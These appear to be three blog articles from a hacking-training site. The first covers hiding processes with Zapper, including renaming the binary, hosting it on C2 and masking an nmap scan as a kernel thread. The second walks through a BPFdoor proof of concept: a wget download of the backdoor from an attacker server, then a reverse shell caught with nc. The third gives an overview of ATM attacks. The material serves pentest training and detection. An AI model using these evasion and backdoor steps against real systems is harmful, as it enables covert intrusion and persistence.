The more experienced a hacker becomes, the harder they are to detect. Beginners are often noisy and leave plenty of traces behind. As they gain experience, they learn to think like defenders and understand how detection actually works.
Today, we’re going to look at a tool that can hide your processes. It’s Zapper. We’ve already seen reports of it being used by hackers to masquerade their long running processes and make them look legitimate.
What is Zapper?
Zapper is a tool created by Hacker’s Choice. Unlike a lot of crude hiding methods, it actually works well. Zapper doesn’t need root privileges to run and it can work even as a static binary, one you can rename too.
Not only can you hide the command line itself, but the environment variables of a process too, along with what’s in /proc/<PID>/environ. The tool doesn’t depend on LD_PRELOAD or libc tricks, it uses ptrace() to manipulate the ELF Auxiliary Vector instead. The performance overhead is tiny, so you won’t even notice it.
Using Zapper
First you need to get the binary. Let’s use the command from the project repository:
Defenders often monitor traffic and certain keywords may trigger alerts. So it’s best to rename the tool and then host it on your C2.
bash$ > mv zapper systemd-control
Here we renamed the binary to systemd-control. On many Linux distros, the actual systemd components live inside /lib/systemd, so placing the renamed file there and changing the timestamps can make it hard to catch, unless someone’s monitoring that directory too. That’s basically why you as a defender can’t rely purely on filename based detection.
The help menu has plenty of examples and shows some creative ways you can use the tool:
bash$ > ./systemd-control -h
Hackers can hide binaries along with their child processes. They can create hidden tmux sessions to maintain persistence on a server without showing up in normal process listings. They can also leave the program name exposed but strip all the command line options, making the process look generic.
For the demonstration we’ll hide an nmap scan and all its arguments:
bash$ > exec ./systemd-control -f -a '[kworker/2:2-events_power_efficient]' nmap IP -Pn -sV -sC > /dev/shm/scan.txt &
This command makes it look like a kernel worker thread. Most admins would just ignore it. While it’s running, you won’t find it anywhere with ps or any other tool. The scan results were saved in /dev/shm/scan.txt, that proves it worked.
bash$ > ps aux | grep nmap
# no nmap in ps
bash$ > cat scan.txt
You should try it on a pentest to emulate a realistic threat and see whether defenders can catch it.
Summary
Zapper can help when you need to hide a suspicious long running process. It masquerades them as something legitimate that every admin would just skip past. The commands and arguments can’t be found in /proc either. You don’t need root to work with it, so it’s suitable for a lot of engagements. With all these qualities, it gained popularity fast and has already been seen in DFIR reports on cyberattacks.
If you like Linux and want to advance your skills, consider joining our Advanced Linux for Hackers training.
As you might know, not all dangerous threats are the loud ones. We often hear about ransomware campaigns that paralyze companies and demand money. Money is the key factor in these operations. If the victim pays once and gets their decryption key, there’s a chance they will pay a second time. That means the key must be delivered to the victim. Total destruction isn’t really the objective here. Things need to stay in a state where they can be fixed within a short period of time if the victim pays.
With state sponsored APTs, things are a bit different. Given the strategy China has right now in regards to the West, they’re trying to preposition themselves for a future conflict, so gaining as much access as possible is the current goal. Once things go south, all that compromised infrastructure starts crippling systems in a bid to cause as much damage as possible. That’s what happened before and during the first days of the Russian invasion of Ukraine and other countries, so there’s a good chance that’s what will happen during an active conflict with China.
An investigation by Rapid7 Labs found evidence of an advanced China nexus threat actor known as Red Menshen. This group has been placing stealthy digital sleeper cells inside telecommunications networks. These are long-term operations built for persistence and access to sensitive environments, including government infrastructure.
At the center of this activity is BPFdoor.
What is BPFDoor
BPFdoor doesn’t behave like conventional malware. It doesn’t open a visible listening port or maintain a C2 channel. BPFdoor is a passive Linux backdoor that works at a very low level in the system. It uses the Berkeley Packet Filter (BPF), which is a feature inside the Linux kernel designed for packet filtering and analysis. Normally, BPF is used for legitimate purposes such as monitoring. In this case, it is being abused. The backdoor attaches itself to a raw network socket and inspects incoming traffic. It can actually see packets before firewall ruleshave a chance to process them. So even if your firewall is configured correctly, the backdoor can still see traffic that should have been blocked.
Most of the time, the backdoor does nothing. It remains completely dormant, which makes it difficult to detect through behavior. It just waits for a “magic packet”. That magic packet has a predefined pattern known only to the hacker. When it arrives, the backdoor wakes up and gives the hacker a reverse shell, so that he doesn’t expose the entry point.
For this article we will use a simplified PoC. It doesn’t include advanced features such as encryption, persistence or espionage modules. But it’s enough to show the core idea and that’s what matters for our learning. The original rootkit can be found here.
Setting Up
We begin by cloning the repository and modifying the trigger file. That’s the file responsible for sending the magic packet that activates the backdoor.
kali > git clone https://github.com/pjt3591oo/bpfdoor.git
kali > cd bpfdoor
kali > vim trigger.c
Inside trigger.c you need to specify two IP addresses. One is the target machine where the backdoor will run, and the other is your attacking machine. We used Kali for this.
You will notice a small detail in the code, a character ‘X’ placed before the IP address. It is a simple magic byte used by the PoC to identify valid trigger packets. It should not be removed, as it is part of the mechanism that wakes up the backdoor.
Once the file is ready, you compile both the trigger and the backdoor.
kali > gcc trigger.c -o trigger
kali > gcc bpfdoor -o bpfdoorpoc
kali > chmod +x trigger
After compiling, we are ready to move to the target system.
Exploitation
To move further we need to transfer the backdoor. There are different methods available for it. You can use temp.sh or a simple HTTP server.
Pick whatever is best for you and download it.
kali > python3 -m http.server 9001
ubuntu > wget http://192.168.56.107:9001/bpfdoorpoc
Once the file is downloaded, you make it executable and run it.
At this point, the rootkit appears to hang. This is expected behavior. The backdoor is now running in the background, waiting for the magic packet. You might see some output, but nothing really tells you what it’s doing.
Set up a listener on Kali to receive your reverse shell
kali > nc -lvnp <port>
The trigger sends a packet that the backdoor recognizes.
In a separate terminal you execute the trigger:
kali > ./trigger
The trigger sends a packet that the backdoor recognizes.
The moment it detects the correct pattern, it activates and sends you back a reverse shell. If everything is correct, you will see a connection. It’s a working shell on the target system.
This is the core idea behind BPFdoor.
Detection
The backdoor has been known since around 2022, but only recently has it been observed being actively used in attacks against telecommunications infrastructure. To detect it we can use a script made by Rapid7.
The script attempts to find suspicious processes that match the behavior of BPFdoor. In our case, it found the PoC process and reported its process ID. Even stealthy malware can leave traces. Detection comes down to understanding how the system is supposed to behave (baseline) and finding deviations from it.
Summary
BPFdoor is an advanced Linux backdoor with a different approach to persistence and remote access. It’s being used by the Chinese to access our sensitive data. The whole Chinese campaign is about prepositioning the country for future global conflicts, so they can gain the upper hand in the chaos of a cyberwar. Their backdoor hides within the normal operation of the kernel and waits for a specific trigger. That makes it really hard to spot.
Telecoms have always been a desirable target along with industrial control systems. In light of these attacks, we started training on Building Your Own Mobile 4G Base Station. You’ll get to learn not just how to build a station, but how hackers attack it and how you can defend it. The knowledge is truly unique and a lot of work has gone into making the training.
Part of our work involves supporting red team engagements. We review completed tests, size up the risk tied to each vulnerability and build out recommendations for shoring up the infrastructure. This time around, we wanted to pull back the curtain on something special. It’s ATM security.
This article is written to help with security assessments on ATMs, showing possible vulnerabilities you may find. It covers many things, from running malware bought off a forum, to an insider on the bank’s payroll, to a service technician who understands the machine’s internals and has been handed broad access to the equipment. We also look at whether a hacker could get into the bank’s broader network simply because the perimeter wasn’t locked down well enough.
Nothing here is meant as a tutorial. We’re documenting weaknesses hackers could exploit so that defenders know what to fix, not handing anyone a blueprint. We take no responsibility for how this information is used.
With that out of the way, let’s start with where ATMs came from.
The History of ATMs
London got the world’s first working ATM on June 27, 1967. It was primitive by today’s standards, incapable of checking a balance, which is exactly why withdrawals topped out at 10 pounds, and it dispensed cash only against special vouchers rather than reading a card.
Source: Barclays Bank
Nearly six decades later, ATMs look nothing like those early cash dispensers. Now they are multifunctional devices, but the hackers never stopped circling. Part of the appeal is obvious. An ATM sits on a pile of cash and offers quick access to it, and there are simply too many machines scattered across too many places to guard them all closely. A lot of them sit in isolated, low traffic spots that run unattended around the clock, think gas stations. That has shaped decades of security investment, most of it aimed at physical hardening. Today’s units can weigh over half a ton and come loaded with sensors tracking position, internal temperature, and whether a compartment has been pried open.
Here’s the catch, though. The safe holding the cash is genuinely hard to crack, but the compartment housing the control electronics is a different story, and in our assessment, it remains poorly defended. That gap opens the door to logical attacks, ones that skip the crowbar entirely and go after the software instead, and that category has been gaining ground fast.
Cisco Talos has tracked a steady climb in new ATM malware variants since 2009. The raw sample count still looks small next to other malware families, but don’t let that fool you. Europe alone saw logical attacks on ATMs jump 269% in 2020 versus the year prior, and the average payout per incident ballooned nearly a thousandfold across that same window, climbing from roughly a thousand euros to well over a million.
What changed the game was availability. ATM malware used to be a rare, closely guarded tool. Once it started circulating more freely on underground markets, prices fell and so did the skill required to use it. Cutlet Maker, which surfaced in 2017, is a good illustration. It came bundled with a Russian language manual complete with troubleshooting notes for running it against different ATM models.
Screenshot of the troubleshooting guide for Cutlet Maker. The author describes the ATM’s USB port location, along with advice on how to devise a stick for attaching the USB cable and accessing the internal USB port. Source: TrendMicro
Fast forward to 2024, and vendors on those same markets were offering ATM malware through subscription pricing, monthly plans included.
Logical attacks have always had one real weakness. They take skill and patience to pull off. That’s why cheap, well documented malware kits have had such an outsized impact on the trend. Their upside for hackers is just as real. They’re far quieter than smashing a machine open, and they often let the same person come back to a compromised ATM again and again. Manufacturers have started fighting back on the hardware side too, with tamper protected cassettes that flood the cash inside with indelible ink the moment someone tries to force them open, ruining the bills instantly.
Brief Attack Statistics
The numbers tell their own story. ATM related crime climbed 600% between 2019 and 2022, with 165% of that increase packed into 2021 and 2022 alone. Physical break ins, which have always driven the bulk of ATM crime, contributed alongside the rise in logical attacks. Germany had 496 ATM explosions recorded in 2022, a record for the country. Zoom out globally, and incidents of that kind blew past 18,000 in 2023.
Losses have kept pace. Banks worldwide absorbed $2.4 billion in direct losses from ATM fraud by the close of 2023. Europe’s share came to 173 million euros, with 67 million of that tied specifically to skimming. The United States handles just 25.29% of global transaction volume yet accounts for 42.32% of global losses. Skimming remains a big part of why, showing up in 45% of all ATM fraud cases in 2023 and costing North America over $900 million, with more than 315,000 cards compromised across at least 3,000 financial institutions.
None of this is happening in a vacuum. The market for ATM protection has grown right alongside the threat. Still, priorities inside most banks remain lopsided. Physical security tends to get the lion’s share of attention, while the operating system, drivers, and control software logic running underneath often get treated as an afterthought. That imbalance carries real consequences. A 2022 RTM Group study found that hackers could breach an ATM’s housing without setting off an alarm in one out of every two attempts, giving them free rein to tamper with the equipment inside.
How an ATM Is Built
Making sense of how these attacks work starts with understanding what happens inside the machine during an ordinary transaction. We’ll walk through that process using one representative configuration, illustrated in the diagram below.
The diagram reflects one specific setup we’re using for illustration, not a universal default, since real world configurations vary by device.
1. User Layer
From where the customer stands, using an ATM is simple. They need to present a card and pick a transaction. That wasn’t always the whole story. Inserting a physical card into a reader used to be the only entry point, and that reliance on the magnetic stripe made skimming and shimming, techniques aimed at stealing card data to produce counterfeit copies, a persistent problem for years.
Contactless cards changed the entry point itself. NFC readers now sit alongside traditional card slots on most machines.
A PIN code layers on additional protection against someone using a stolen card. Entry happens through an encrypting PIN pad, a combination of physical keypad and cryptographic module that ensures the PIN never travels or gets stored anywhere in plain text. Verification of the resulting encrypted PIN block happens back at the processing center.
Once identity checks clear, you can withdraw cash, check your balance, transfer funds, and so forth. There’s a full computer running inside the housing, but customers never get anywhere near it directly. Every interaction they have flows through a single banking application running in kiosk mode, locked to full screen.
2. OS Layer
That computer we just mentioned lives inside what’s called the service zone, and this section covers what happens there, setting the cash handling hardware aside for the moment. Physically, the service zone is protected by a thin door and a basic lock. Machines from the same product line frequently share an identical key too, one that’s often available for purchase online with minimal effort.
Beyond the system unit itself, the service zone also houses the ATM’s networking equipment and its wired connections to the card reader, contactless reader, PIN pad, and dispenser, typically running over USB, Ethernet, PCI, or COM interfaces depending on the device.
Windows powers most of these systems, historically through Windows Embedded and increasingly through Windows IoT, a Windows 10 variant built for embedded use.
The kiosk application isn’t the only thing running on that OS. Alongside it sits the ATM’s control software plus a handful of security tools. That can be antivirus protection, Windows AppLocker that keeps unauthorized programs from executing, and a VPN client that maintains a secure tunnel back to the bank’s internal network.
Control software is arguably the most important piece at this layer. Core responsibilities for the control software boil down to managing peripherals and communicating with the processing center, though specific implementations often add more on top of that. Some bundle in software for a monitoring server, letting technicians manage an entire network of self service machines remotely. Others are built in a supervisor mode meant purely for technical staff, offering quick access to diagnostic tools through a hidden menu to simplify physical maintenance visits.
3. Network Layer
Selecting a transaction sets off a verification process handled entirely by the processing center, a server living on the bank’s internal network. That server confirms the card data is legitimate, checks the PIN again before letting the transaction through, rules out any restrictions on the account, and verifies there’s enough balance to cover the request.
Everything exchanged between the ATM and the processing center travels encrypted, usually through a VPN tunnel, protecting against interception or tampering along the way. NDC and DDC are the most common messaging protocols in this exchange, functioning as something of an informal industry standard even before multi-vendor control software became widespread. ISO 8583 and its various offshoots see heavy use as well.
The processing center isn’t the only thing an ATM talks to. Many machines also maintain a connection to a monitoring server used for remote management, health checks, and pushing updates, and unlike the processing center link, this channel frequently runs without any encryption at all.
4. Firmware Layer
Once the processing center signs off, the control software hands things over to the dispenser for a withdrawal, or the deposit module if cash is going in. These components typically sit inside the most fortified section of the ATM, the safe zone, built from tougher materials and secured with its own dedicated key separate from the service zone.
The dispenser counts out the required banknotes from the ATM’s cassettes, moves them into position at the dispensing tray, then opens the shutter, the physical flap that blocks access to the cash until it’s ready. Data moving between the control software and the dispenser can be encrypted, and both sides authenticate one another before any exchange begins, a safeguard against device spoofing. All of that encryption and authentication logic lives directly in the dispenser’s own firmware.
Deposits work differently. Incoming banknotes pass through a validator that checks their authenticity.
ATM Attacks
With the mechanics of an ATM covered, we can turn to the threats themselves. Every attack against these machines falls into one of two broad camps, physical or logical, depending on what the hacker is going after and how they approach it.
Physical attacks go straight after the machine or its components, aiming to extract cash or knock the device out of normal operation without touching a line of code. These predate targeted malware by decades and don’t require much specialized skill. Some don’t even target the machine itself, focusing instead on the people standing in front of it.
Logical attacks operate on a different level entirely. They demand genuine technical skill and preparation, built around exploiting weaknesses in the ATM’s software and network layers. They draw less public attention than physical attacks despite posing a bigger threat to banks, largely because they’re quieter and let a hacker return to the same compromised machine to cash in more than once.
System attacks go after functionality or logic running at the ATM’s OS layer, typically aiming to extract cash or sidestep security controls outright. Black box attacks deserve special attention, where a hacker skips gaining OS access altogether and instead wires their own device directly into the dispenser to control it externally. The same technique can target other peripherals, like the banknote validator.
Network attacks aim at the ATM’s networking components instead, with hackers looking to intercept, forge, or otherwise abuse data in transit, or to seize remote control of the machine. With weak enough safeguards in place, a hacker can forge the responses coming back to the ATM and push through a cash withdrawal even after the processing center rejected it.
Not every attack in this framework ends with cash in hand. A hacker might, say, work to gain remote network access first, then pivot into an OS layer attack from there.
We have seen cases where compromising a single ATM meant compromising the entire bank because there was no network segmentation in place. Conversely, gaining access to the bank’s internal network could provide a path to ATMs and other critical systems connected to it. Credential reuse and a lack of understanding of Active Directory security can lead to devastating consequences in environments like these.
Summary
ATMs have evolved from simple cash dispensers into complex and networked systems. Their security has evolved unevenly alongside them. Physical hardening has made the cash safe itself genuinely difficult to crack, but the service zone housing the control electronics remains comparatively exposed, and that gap has fueled a steady rise in logical attacks. These attacks demand more skill than a physical break-in, but they’re increasingly accessible because of well-documented malware kits.
Cybersecurity is a vast field, and we offer courses covering a wide range of topics, including Active Directory Hacking, Wi-Fi Hacking, Web Application Hacking, SCADA Security, and much more. Our course library is constantly growing as we continue to add new training, all of which is available through our Member Gold plan. If you want unlimited access to our entire training library, including our most advanced courses, consider upgrading to Subscriber Pro.
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